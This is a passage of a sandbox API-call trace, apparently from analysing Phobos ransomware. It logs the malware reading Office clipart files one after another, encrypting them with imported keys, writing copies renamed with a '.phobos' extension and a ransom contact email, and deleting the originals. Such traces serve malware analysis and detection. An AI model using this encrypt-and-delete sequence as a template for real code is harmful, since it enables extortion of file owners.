hTemplateFile=0x0) returned 0x318 [0059.348] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ccb0) returned 1 [0059.348] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.348] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x600, lpOverlapped=0x0) returned 1 [0059.367] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x610, dwBufLen=0x610 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x610) returned 1 [0059.367] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x610, lpOverlapped=0x0) returned 1 [0059.368] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d070) returned 1 [0059.368] CryptSetKeyParam (hKey=0x10d070, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.368] CryptEncrypt (in: hKey=0x10d070, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.368] CryptDestroyKey (hKey=0x10d070) returned 1 [0059.368] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.368] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0059.368] CloseHandle (hObject=0x308) returned 1 [0059.368] CloseHandle (hObject=0x318) returned 1 [0059.369] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0059.370] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.370] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.371] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4708) returned 1 [0059.371] CloseHandle (hObject=0x318) returned 1 [0059.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 0x220 [0059.371] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.371] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.371] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.371] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.372] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cc70) returned 1 [0059.372] CryptSetKeyParam (hKey=0x10cc70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.372] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1264, lpOverlapped=0x0) returned 1 [0059.374] CryptEncrypt (in: hKey=0x10cc70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1270, dwBufLen=0x1270 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1270) returned 1 [0059.374] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1270, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1270, lpOverlapped=0x0) returned 1 [0059.375] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ce70) returned 1 [0059.375] CryptSetKeyParam (hKey=0x10ce70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.375] CryptEncrypt (in: hKey=0x10ce70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.375] CryptDestroyKey (hKey=0x10ce70) returned 1 [0059.375] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.375] CryptDestroyKey (hKey=0x10cc70) returned 1 [0059.375] CloseHandle (hObject=0x318) returned 1 [0059.375] CloseHandle (hObject=0x308) returned 1 [0059.376] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00252_.wmf")) returned 1 [0059.377] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.377] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.378] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=1736) returned 1 [0059.378] CloseHandle (hObject=0x308) returned 1 [0059.378] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0059.379] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.379] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.379] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.379] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.379] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cf70) returned 1 [0059.379] CryptSetKeyParam (hKey=0x10cf70, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.379] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x6c8, lpOverlapped=0x0) returned 1 [0059.387] CryptEncrypt (in: hKey=0x10cf70, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x6d0, dwBufLen=0x6d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x6d0) returned 1 [0059.387] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x6d0, lpOverlapped=0x0) returned 1 [0059.388] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10d1f0) returned 1 [0059.388] CryptSetKeyParam (hKey=0x10d1f0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.388] CryptEncrypt (in: hKey=0x10d1f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.388] CryptDestroyKey (hKey=0x10d1f0) returned 1 [0059.388] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.388] CryptDestroyKey (hKey=0x10cf70) returned 1 [0059.388] CloseHandle (hObject=0x308) returned 1 [0059.388] CloseHandle (hObject=0x318) returned 1 [0059.389] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0059.390] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.390] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.391] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=12482) returned 1 [0059.391] CloseHandle (hObject=0x318) returned 1 [0059.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 0x220 [0059.391] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.391] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.391] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.391] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.392] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10ce30) returned 1 [0059.392] CryptSetKeyParam (hKey=0x10ce30, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.392] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x30c2, lpOverlapped=0x0) returned 1 [0059.675] CryptEncrypt (in: hKey=0x10ce30, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x30d0, dwBufLen=0x30d0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x30d0) returned 1 [0059.675] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x30d0, lpOverlapped=0x0) returned 1 [0059.687] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cfb0) returned 1 [0059.687] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.687] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.687] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0059.687] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.687] CryptDestroyKey (hKey=0x10ce30) returned 1 [0059.687] CloseHandle (hObject=0x318) returned 1 [0059.687] CloseHandle (hObject=0x308) returned 1 [0059.688] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0059.689] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.689] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.690] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=3780) returned 1 [0059.690] CloseHandle (hObject=0x308) returned 1 [0059.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 0x220 [0059.690] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.690] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.690] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.690] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10d170) returned 1 [0059.690] CryptSetKeyParam (hKey=0x10d170, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.690] ReadFile (in: hFile=0x308, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0xec4, lpOverlapped=0x0) returned 1 [0059.692] CryptEncrypt (in: hKey=0x10d170, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xed0, dwBufLen=0xed0 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0xed0) returned 1 [0059.692] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xed0, lpOverlapped=0x0) returned 1 [0059.693] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10cff0) returned 1 [0059.693] CryptSetKeyParam (hKey=0x10cff0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.693] CryptEncrypt (in: hKey=0x10cff0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.693] CryptDestroyKey (hKey=0x10cff0) returned 1 [0059.693] WriteFile (in: hFile=0x318, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.693] CryptDestroyKey (hKey=0x10d170) returned 1 [0059.693] CloseHandle (hObject=0x308) returned 1 [0059.693] CloseHandle (hObject=0x318) returned 1 [0059.694] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0059.694] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.694] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.695] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x2e5fba8 | out: lpFileSize=0x2e5fba8*=4164) returned 1 [0059.695] CloseHandle (hObject=0x318) returned 1 [0059.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 0x220 [0059.695] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0059.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0059.695] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.695] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fb48 | out: lpNewFilePointer=0x0) returned 1 [0059.695] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.695] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5fb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb5c | out: phKey=0x2e5fb5c*=0x10cfb0) returned 1 [0059.695] CryptSetKeyParam (hKey=0x10cfb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.695] ReadFile (in: hFile=0x318, lpBuffer=0x31c3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e5fb84, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesRead=0x2e5fb84*=0x1044, lpOverlapped=0x0) returned 1 [0059.701] CryptEncrypt (in: hKey=0x10cfb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1050, dwBufLen=0x1050 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x1050) returned 1 [0059.701] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0x1050, lpOverlapped=0x0) returned 1 [0059.702] CryptImportKey (in: hProv=0xe6710, pbData=0x2e5faf4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e5fb60 | out: phKey=0x2e5fb60*=0x10ccb0) returned 1 [0059.702] CryptSetKeyParam (hKey=0x10ccb0, dwParam=0x1, pbData=0x2e5fc08, dwFlags=0x0) returned 1 [0059.702] CryptEncrypt (in: hKey=0x10ccb0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40, dwBufLen=0x40 | out: pbData=0x31c3020*, pdwDataLen=0x2e5fb20*=0x40) returned 1 [0059.702] CryptDestroyKey (hKey=0x10ccb0) returned 1 [0059.702] WriteFile (in: hFile=0x308, lpBuffer=0x31c3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e5fb68, lpOverlapped=0x0 | out: lpBuffer=0x31c3020*, lpNumberOfBytesWritten=0x2e5fb68*=0xf2, lpOverlapped=0x0) returned 1 [0059.702] CryptDestroyKey (hKey=0x10cfb0) returned 1 [0059.702] CloseHandle (hObject=0x318) returned 1 [0059.703] CloseHandle (hObject=0x308) returned 1 [0059.703] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0059.704] CryptGenRandom (in: hProv=0xe6710, dwLen=0x10, pbBuffer=0x2e5fc08 | out: pbBuffer=0x2e5fc08) returned 1 [0059.704] 